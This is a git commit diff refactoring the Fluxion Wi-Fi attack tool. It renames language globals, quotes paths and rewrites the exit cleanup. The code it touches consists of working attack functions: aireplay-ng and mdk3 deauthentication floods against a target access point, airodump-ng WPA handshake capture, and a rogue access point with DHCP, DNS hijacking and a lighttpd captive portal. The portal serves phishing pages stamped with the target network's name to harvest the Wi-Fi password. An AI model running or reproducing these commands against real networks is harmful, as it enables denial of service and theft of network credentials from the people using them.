Lang. globals, paths, exitmode update & bugfixes.
Updated fluxion and attacks scripts to use the updated language global identifiers. Quoted some paths that handn't already been quoted (potential spacing issues). Updated the exitmode function to deal with FLUXION-started only processes. Fixed a bug where the "WI not supported" message was displayed when no AP were found. Added an IO function to handle dynamic, static-text, substitution.
This commit is contained in:
parent
1876c9db8d
commit
c15bd1b7bc
|
@ -46,18 +46,18 @@ function captive_portal_set_auth() {
|
||||||
else
|
else
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $header_askauth"
|
echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
local choices=("${CaptivePortalAuthenticationMethods[@]}" "$general_back")
|
local choices=("${CaptivePortalAuthenticationMethods[@]}" "$FLUXIONGeneralBackOption")
|
||||||
io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \
|
io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \
|
||||||
CaptivePortalAuthenticationMethodsInfo[@]
|
CaptivePortalAuthenticationMethodsInfo[@]
|
||||||
|
|
||||||
APRogueAuthMode="${IOQueryFormatFields[0]}"
|
APRogueAuthMode="${IOQueryFormatFields[0]}"
|
||||||
|
|
||||||
if [[ "$APRogueAuthMode" = "$general_back" ]]; then
|
if [[ "$APRogueAuthMode" = "$FLUXIONGeneralBackOption" ]]; then
|
||||||
unset_ap_service
|
unset_ap_service
|
||||||
captive_portal_unset_auth
|
captive_portal_unset_auth
|
||||||
return 1
|
return 1
|
||||||
|
@ -97,15 +97,15 @@ function captive_portal_set_cert() {
|
||||||
|
|
||||||
captive_portal_unset_cert
|
captive_portal_unset_cert
|
||||||
|
|
||||||
local choices=("$DialogOptionCertificateSource1" "$DialogOptionCertificateSource2" "$general_back")
|
local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$FLUXIONGeneralBackOption")
|
||||||
|
|
||||||
while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do
|
while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do
|
||||||
io_query_choice "$DialogQueryCertificateSource" choices[@]
|
io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$DialogOptionCertificateSource1") captive_portal_run_certificate_generator; break;;
|
"$CaptivePortalCertificateSourceGenerateOption") captive_portal_run_certificate_generator; break;;
|
||||||
"$DialogOptionCertificateSource2") return 2;;
|
"$CaptivePortalCertificateSourceRescanOption") return 2;;
|
||||||
"$general_back")
|
"$FLUXIONGeneralBackOption")
|
||||||
captive_portal_unset_auth
|
captive_portal_unset_auth
|
||||||
captive_portal_unset_cert
|
captive_portal_unset_cert
|
||||||
return 1;;
|
return 1;;
|
||||||
|
@ -132,7 +132,7 @@ function captive_portal_set_site() {
|
||||||
return 0;
|
return 0;
|
||||||
fi
|
fi
|
||||||
|
|
||||||
captive_portal_unset_interface
|
captive_portal_unset_site
|
||||||
|
|
||||||
local sites
|
local sites
|
||||||
|
|
||||||
|
@ -141,19 +141,19 @@ function captive_portal_set_site() {
|
||||||
for site in attacks/Captive\ Portal/sites/generic/* attacks/Captive\ Portal/sites/*.portal; do
|
for site in attacks/Captive\ Portal/sites/generic/* attacks/Captive\ Portal/sites/*.portal; do
|
||||||
site="${site/attacks\/Captive\ Portal\/sites\//}"
|
site="${site/attacks\/Captive\ Portal\/sites\//}"
|
||||||
if [[ "$site" != *.portal ]]; then
|
if [[ "$site" != *.portal ]]; then
|
||||||
site="${DialogOptionCaptivePortalGeneric}_${site/generic\//}"
|
site="${CaptivePortalGenericInterfaceOption}_${site/generic\//}"
|
||||||
fi
|
fi
|
||||||
sites[${#sites[@]}]="${site/.portal/}"
|
sites[${#sites[@]}]="${site/.portal/}"
|
||||||
done
|
done
|
||||||
|
|
||||||
local sitesIdentifier=("${sites[@]/_*/}" "$general_back")
|
local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption")
|
||||||
local sitesLanguage=("${sites[@]/*_/}")
|
local sitesLanguage=("${sites[@]/*_/}")
|
||||||
|
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
io_query_format_fields "$FLUXIONVLine $DialogQueryCaptivePortalInterface" \
|
io_query_format_fields "$FLUXIONVLine $CaptivePortalInterfaceQuery" \
|
||||||
"$CRed[$CYel%02d$CRed]$CClr %-38b $CBlu[%10s]$CClr\n" \
|
"$CRed[$CYel%02d$CRed]$CClr %-38b $CBlu[%10s]$CClr\n" \
|
||||||
sitesIdentifier[@] sitesLanguage[@]
|
sitesIdentifier[@] sitesLanguage[@]
|
||||||
|
|
||||||
|
@ -162,17 +162,17 @@ function captive_portal_set_site() {
|
||||||
local sitePath="${site}_${siteLanguage}"
|
local sitePath="${site}_${siteLanguage}"
|
||||||
|
|
||||||
case "$site" in
|
case "$site" in
|
||||||
"$DialogOptionCaptivePortalGeneric")
|
"$CaptivePortalGenericInterfaceOption")
|
||||||
source "$FLUXIONPath/attacks/Captive Portal/sites/generic/$siteLanguage"
|
source "$FLUXIONPath/attacks/Captive Portal/sites/generic/$siteLanguage"
|
||||||
captive_portal_generic;;
|
captive_portal_generic;;
|
||||||
"$general_back")
|
"$FLUXIONGeneralBackOption")
|
||||||
captive_portal_unset_cert
|
captive_portal_unset_cert
|
||||||
captive_portal_unset_site
|
captive_portal_unset_site
|
||||||
return 1;;
|
return 1;;
|
||||||
* )
|
* )
|
||||||
mkdir "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
|
# mkdir "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
|
||||||
cp -r $FLUXIONPath/attacks/Captive\ Portal/sites/$sitePath.portal/* \
|
cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \
|
||||||
$FLUXIONWorkspacePath/captive_portal
|
"$FLUXIONWorkspacePath/captive_portal"
|
||||||
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
|
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
|
||||||
sed -i -e 's/$APTargetSSID/'"$APTargetSSID"'/g' {} \;
|
sed -i -e 's/$APTargetSSID/'"$APTargetSSID"'/g' {} \;
|
||||||
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
|
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
|
||||||
|
@ -188,8 +188,9 @@ function captive_portal_unset_attack() {
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"
|
||||||
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
|
||||||
|
|
||||||
# Only reset the AP if one has been define.
|
# Only reset the AP if one has been defined.
|
||||||
if [ $(type -t ap_reset) ]; then
|
if [ $(type -t ap_reset) ]; then
|
||||||
ap_reset
|
ap_reset
|
||||||
fi
|
fi
|
||||||
|
@ -843,31 +844,31 @@ function start_attack() {
|
||||||
|
|
||||||
stop_attack
|
stop_attack
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting Captive Portal access point service..."
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice"
|
||||||
ap_start
|
ap_start
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting Captive Portal access point routes..."
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice"
|
||||||
captive_portal_set_routes &
|
captive_portal_set_routes &
|
||||||
sleep 3
|
sleep 3
|
||||||
|
|
||||||
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
||||||
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting access point DHCP service as daemon..."
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
|
||||||
xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e dhcpd -d -f -lf "$FLUXIONWorkspacePath/dhcpd.leases" -cf "$FLUXIONWorkspacePath/dhcpd.conf" $VIGW 2>&1 | tee -a "$FLUXIONWorkspacePath/clients.txt" &
|
xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e dhcpd -d -f -lf "$FLUXIONWorkspacePath/dhcpd.leases" -cf "$FLUXIONWorkspacePath/dhcpd.conf" $VIGW 2>&1 | tee -a "$FLUXIONWorkspacePath/clients.txt" &
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting access point DNS service as daemon..."
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
|
||||||
xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; fi" &
|
xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; fi" &
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting access point captive portal as daemon..."
|
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
|
||||||
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
|
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
|
||||||
CaptivePortalServerPID=$!
|
CaptivePortalServerPID=$!
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting access point jammer as daemon..."
|
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
|
||||||
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b "$FLUXIONWorkspacePath/mdk3_blacklist.lst" -c $APTargetChannel &
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b "$FLUXIONWorkspacePath/mdk3_blacklist.lst" -c $APTargetChannel &
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine Starting authenticator script..."
|
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
|
||||||
xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
|
xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -52,8 +52,8 @@ function handshake_stop_verifier() {
|
||||||
|
|
||||||
function handshake_start_verifier() {
|
function handshake_start_verifier() {
|
||||||
handshake_verifier_daemon $$ \
|
handshake_verifier_daemon $$ \
|
||||||
$FLUXIONPath/attacks/Handshake\ Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap \
|
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" \
|
||||||
$HANDSHAKEVerifier $FLUXIONWorkspacePath/capture/dump-01.cap \
|
"$HANDSHAKEVerifier" "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||||
"$APTargetSSID" "$APTargetMAC" &> $FLUXIONOutputDevice &
|
"$APTargetSSID" "$APTargetMAC" &> $FLUXIONOutputDevice &
|
||||||
HANDSHAKEVerifierPID=$!
|
HANDSHAKEVerifierPID=$!
|
||||||
}
|
}
|
||||||
|
@ -71,15 +71,15 @@ function handshake_start_deauthenticator() {
|
||||||
|
|
||||||
# Prepare deauthenticators
|
# Prepare deauthenticators
|
||||||
case "$HANDSHAKEMethod" in
|
case "$HANDSHAKEMethod" in
|
||||||
"mdk3"*) echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
|
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
|
||||||
esac
|
esac
|
||||||
|
|
||||||
# Start deauthenticators.
|
# Start deauthenticators.
|
||||||
case "$HANDSHAKEMethod" in
|
case "$HANDSHAKEMethod" in
|
||||||
"aireplay-ng"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
||||||
aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor &
|
aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor &
|
||||||
HANDSHAKEDeauthenticatorPID=$!;;
|
HANDSHAKEDeauthenticatorPID=$!;;
|
||||||
"mdk3"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
||||||
mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel &
|
mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel &
|
||||||
HANDSHAKEDeauthenticatorPID=$!;;
|
HANDSHAKEDeauthenticatorPID=$!;;
|
||||||
esac
|
esac
|
||||||
|
@ -97,7 +97,7 @@ function handshake_start_captor() {
|
||||||
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
||||||
|
|
||||||
xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \
|
xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \
|
||||||
airodump-ng -d $APTargetMAC -w $FLUXIONWorkspacePath/capture/dump -c $APTargetChannel -a $WIMonitor &
|
airodump-ng -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
|
||||||
|
|
||||||
sleep 3
|
sleep 3
|
||||||
HANDSHAKECaptorPID=$(ps a | awk '$5~/^airodump-ng/ && $7~/'"$APTargetMAC"'/{print $1}')
|
HANDSHAKECaptorPID=$(ps a | awk '$5~/^airodump-ng/ && $7~/'"$APTargetMAC"'/{print $1}')
|
||||||
|
@ -110,12 +110,12 @@ function handshake_unset_method() {
|
||||||
function handshake_set_method() {
|
function handshake_set_method() {
|
||||||
if [ "$HANDSHAKEMethod" ]; then return 0; fi
|
if [ "$HANDSHAKEMethod" ]; then return 0; fi
|
||||||
|
|
||||||
local methods=("Monitor (${CYel}passive$CClr)" "aireplay-ng deauthentication (${CRed}aggressive$CClr)" "mdk3 deauthentication (${CRed}aggressive$CClr)" "$general_back")
|
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
|
||||||
io_query_choice "Select a method of handshake retrieval" methods[@]
|
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
||||||
|
|
||||||
HANDSHAKEMethod=$IOQueryChoice
|
HANDSHAKEMethod=$IOQueryChoice
|
||||||
|
|
||||||
if [ "$HANDSHAKEMethod" = "$general_back" ]; then
|
if [ "$HANDSHAKEMethod" = "$FLUXIONGeneralBackOption" ]; then
|
||||||
handshake_unset_method
|
handshake_unset_method
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
@ -128,16 +128,17 @@ function handshake_unset_verifier() {
|
||||||
function handshake_set_verifier() {
|
function handshake_set_verifier() {
|
||||||
if [ "$HANDSHAKEVerifier" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifier" ]; then return 0; fi
|
||||||
|
|
||||||
local verifiers=("pyrit" "aircrack-ng" "$general_back") # "pyrit (${CGrn}recommended$CClr)" "aircrack-ng (unreliable)")
|
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
||||||
io_query_choice "Select a method of handshake retrieval" verifiers[@]
|
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
||||||
|
|
||||||
HANDSHAKEVerifier=$IOQueryChoice
|
case "$IOQueryChoice" in
|
||||||
|
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifier="pyrit";;
|
||||||
if [ "$HANDSHAKEVerifier" = "$general_back" ]; then
|
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifier="aircrack-ng";;
|
||||||
handshake_unset_verifier
|
"$FLUXIONGeneralBackOption")
|
||||||
handshake_unset_method
|
handshake_unset_verifier
|
||||||
return 1
|
handshake_unset_method
|
||||||
fi
|
return 1;;
|
||||||
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function unprep_attack() {
|
function unprep_attack() {
|
||||||
|
@ -149,9 +150,7 @@ function unprep_attack() {
|
||||||
}
|
}
|
||||||
|
|
||||||
function prep_attack() {
|
function prep_attack() {
|
||||||
# if [ ${#@} -ne 3 ]; then return 1; fi
|
mkdir -p "$FLUXIONWorkspacePath/capture"
|
||||||
|
|
||||||
mkdir $FLUXIONWorkspacePath/capture
|
|
||||||
|
|
||||||
while true; do
|
while true; do
|
||||||
handshake_set_method; if [ $? -ne 0 ]; then break; fi
|
handshake_set_method; if [ $? -ne 0 ]; then break; fi
|
||||||
|
|
225
fluxion.sh
225
fluxion.sh
|
@ -18,7 +18,7 @@ FLUXIONDebug=${FLUXIONDebug:+1}
|
||||||
FLUXIONDropNet=${FLUXIONDropNet:+1}
|
FLUXIONDropNet=${FLUXIONDropNet:+1}
|
||||||
FLUXIONAuto=${FLUXION_AUTO:+1}
|
FLUXIONAuto=${FLUXION_AUTO:+1}
|
||||||
|
|
||||||
# FLUXIONDebug [Normal Mode (0) / Developer Mode (1)]
|
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
|
||||||
export FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
|
export FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
|
||||||
|
|
||||||
FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "")
|
FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "")
|
||||||
|
@ -70,59 +70,40 @@ function exitmode() {
|
||||||
if [ ! $FLUXIONDebug ]; then
|
if [ ! $FLUXIONDebug ]; then
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "\n\n$CWht[$CRed-$CWht]$CRed $general_exitmode$CClr"
|
echo -e "\n\n$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"
|
||||||
|
|
||||||
if ps -A | grep -q aireplay-ng; then
|
local processes
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry aireplay-ng$CClr"
|
readarray processes < <(ps -A)
|
||||||
killall aireplay-ng &> $FLUXIONOutputDevice
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ps -A | grep -q airodump-ng; then
|
# Currently, fluxion is only responsible for killing airodump-ng,
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry airodump-ng$CClr"
|
# since it uses it to scan for candidate target access points.
|
||||||
killall airodump-ng &> $FLUXIONOutputDevice
|
# Everything else should be taken care of by the custom attack abort handler.
|
||||||
fi
|
local targets=("airodump-ng")
|
||||||
|
|
||||||
if ps a | grep python| grep fakedns; then
|
local targetID
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry python$CClr"
|
for targetID in "${targets[@]}"; do
|
||||||
kill $(ps a | grep python| grep fakedns | awk '{print $1}') &> $FLUXIONOutputDevice
|
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
|
||||||
fi
|
if [ ! "$targetPID" ]; then continue; fi
|
||||||
|
echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"
|
||||||
|
killall $targetPID &> $FLUXIONOutputDevice
|
||||||
|
done
|
||||||
|
|
||||||
if ps -A | grep -q hostapd; then
|
if [ "$WIAccessPoint" ]; then
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry hostapd$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingExtraInterfacesNotice$CGrn $WIAccessPoint$CClr"
|
||||||
killall hostapd &> $FLUXIONOutputDevice
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ps -A | grep -q lighttpd; then
|
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry lighttpd$CClr"
|
|
||||||
killall lighttpd &> $FLUXIONOutputDevice
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ps -A | grep -q dhcpd; then
|
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry dhcpd$CClr"
|
|
||||||
killall dhcpd &> $FLUXIONOutputDevice
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ps -A | grep -q mdk3; then
|
|
||||||
echo -e "$CWht[$CRed-$CWht] Killing$CGry mdk3$CClr"
|
|
||||||
killall mdk3 &> $FLUXIONOutputDevice
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$WIAccessPoint" != "" ]; then
|
|
||||||
echo -e "$CWht[$CRed-$CWht] $general_exitmode_2$CGrn $WIAccessPoint$CClr"
|
|
||||||
iw dev $WIAccessPoint del &> $FLUXIONOutputDevice
|
iw dev $WIAccessPoint del &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$WIMonitor" != "" ]; then
|
if [ "$WIMonitor" ]; then
|
||||||
echo -e "$CWht[$CRed-$CWht] $general_exitmode_1$CGrn $WIMonitor$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
|
||||||
airmon-ng stop $WIMonitor &> $FLUXIONOutputDevice
|
airmon-ng stop $WIMonitor &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
|
if [ "`cat /proc/sys/net/ipv4/ip_forward`" != "0" ]; then
|
||||||
echo -e "$CWht[$CRed-$CWht] $general_exitmode_3$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingPacketForwardingNotice$CClr"
|
||||||
sysctl -w net.ipv4.ip_forward=0 &> $FLUXIONOutputDevice
|
sysctl -w net.ipv4.ip_forward=0 &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "$CWht[$CRed-$CWht] $general_exitmode_4$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr"
|
||||||
if [ ! -f "$FLUXIONWorkspacePath/iptables-rules" ];then
|
if [ ! -f "$FLUXIONWorkspacePath/iptables-rules" ];then
|
||||||
iptables --flush
|
iptables --flush
|
||||||
iptables --table nat --flush
|
iptables --table nat --flush
|
||||||
|
@ -132,16 +113,16 @@ function exitmode() {
|
||||||
iptables-restore < "$FLUXIONWorkspacePath/iptables-rules"
|
iptables-restore < "$FLUXIONWorkspacePath/iptables-rules"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "$CWht[$CRed-$CWht] $general_exitmode_5$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"
|
||||||
tput cnorm
|
tput cnorm
|
||||||
|
|
||||||
if [ ! $FLUXIONDebug ]; then
|
if [ ! $FLUXIONDebug ]; then
|
||||||
echo -e "$CWht[$CRed-$CWht] Deleting$CGry files$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ $FLUXIONDropNet ]; then
|
if [ $FLUXIONDropNet ]; then
|
||||||
echo -e "$CWht[$CRed-$CWht] $general_exitmode_6$CClr"
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"
|
||||||
|
|
||||||
# systemctl check
|
# systemctl check
|
||||||
systemd=$(whereis systemctl)
|
systemd=$(whereis systemctl)
|
||||||
|
@ -154,8 +135,8 @@ function exitmode() {
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "$CWht[$CGrn+$CWht] $CGrn$general_exitmode_7$CClr"
|
echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"
|
||||||
echo -e "$CWht[$CGrn+$CWht] $CGry$general_exitmode_8$CClr"
|
echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"
|
||||||
|
|
||||||
sleep 2
|
sleep 2
|
||||||
|
|
||||||
|
@ -214,7 +195,7 @@ function error_report() {
|
||||||
echo "Error on line $1"
|
echo "Error on line $1"
|
||||||
}
|
}
|
||||||
|
|
||||||
if [ $FLUXIONDebug ]; then
|
if [ "$FLUXIONDebug" ]; then
|
||||||
trap 'error_report $LINENUM' ERR
|
trap 'error_report $LINENUM' ERR
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
@ -288,16 +269,6 @@ if [ ! -d "$FLUXIONWorkspacePath" ]; then
|
||||||
mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice
|
mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create handshake directory
|
|
||||||
#if [ ! -d "$FLUXIONHashPath" ]; then
|
|
||||||
# mkdir -p $FLUXIONHashPath &> $FLUXIONOutputDevice
|
|
||||||
#fi
|
|
||||||
|
|
||||||
#create password log directory
|
|
||||||
#if [ ! -d "$FLUXIONPassLog" ]; then
|
|
||||||
# mkdir -p $FLUXIONPassLog &> $FLUXIONOutputDevice
|
|
||||||
#fi
|
|
||||||
|
|
||||||
if [ ! $FLUXIONDebug ]; then
|
if [ ! $FLUXIONDebug ]; then
|
||||||
clear; echo
|
clear; echo
|
||||||
sleep 0.01 && echo -e "$CRed "
|
sleep 0.01 && echo -e "$CRed "
|
||||||
|
@ -459,19 +430,19 @@ function set_language() {
|
||||||
|
|
||||||
function unset_interface() {
|
function unset_interface() {
|
||||||
# Unblock interfaces to make the available.
|
# Unblock interfaces to make the available.
|
||||||
echo -e "$FLUXIONVLine Unblocking all interfaces..."
|
echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
|
||||||
|
|
||||||
#unblock interfaces
|
#unblock interfaces
|
||||||
rfkill unblock all
|
rfkill unblock all
|
||||||
|
|
||||||
# Gather all monitors & all AP interfaces.
|
# Gather all monitors & all AP interfaces.
|
||||||
echo -e "$FLUXIONVLine Looking for extraneous interfaces..."
|
echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice"
|
||||||
|
|
||||||
# Collect all interfaces in montitor mode & stop all
|
# Collect all interfaces in montitor mode & stop all
|
||||||
WIMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}'))
|
WIMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}'))
|
||||||
|
|
||||||
# Remove all monitors & all AP interfaces.
|
# Remove all monitors & all AP interfaces.
|
||||||
echo -e "$FLUXIONVLine Removing extraneous interfaces..."
|
echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice"
|
||||||
|
|
||||||
if [ ${#WIMonitors[@]} -gt 0 ]; then
|
if [ ${#WIMonitors[@]} -gt 0 ]; then
|
||||||
for monitor in ${WIMonitors[@]}; do
|
for monitor in ${WIMonitors[@]}; do
|
||||||
|
@ -479,7 +450,7 @@ function unset_interface() {
|
||||||
airmon-ng stop $monitor > $FLUXIONOutputDevice
|
airmon-ng stop $monitor > $FLUXIONOutputDevice
|
||||||
|
|
||||||
